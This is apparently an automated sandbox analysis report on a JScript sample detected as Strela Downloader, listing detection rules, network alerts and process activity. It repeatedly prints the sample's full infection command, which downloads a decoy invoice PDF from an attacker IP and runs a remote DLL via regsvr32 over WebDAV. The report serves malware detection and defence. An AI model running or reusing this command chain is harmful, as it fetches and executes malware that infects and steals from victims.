Edit tour

Windows Analysis Report
270423757158192531.js

Overview

General Information

Sample name:	270423757158192531.js
Analysis ID:	1588636
MD5:	815f3c94c8d75f01fb3952f0ad8e240e
SHA1:	607df04a9e0727df1d887dfbb3e110714858bce9
SHA256:	d3c5584668a9ca01b5fcabfdadeddabdc43f84811a8c8eab7a9157e9c33e0307
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7532 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7624 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7680 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7832 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8048 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7324 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1704,i,2841072177375575574,11582784445128380649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7848 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7884 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8124 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7532	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7624, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7624, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ProcessId: 7532, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7884, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7532, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ProcessId: 7624, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7532, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ProcessId: 7624, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7532, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ProcessId: 7624, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7532, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ProcessId: 7624, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7532, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ProcessId: 7624, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ProcessId: 7532, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7624, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7884, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8124, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7884, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7532, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll, ProcessId: 7624, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:30:29.121490+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:30:31.598337+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:30:29.121490+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 270423757158192531.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 270423757158192531.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:30:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
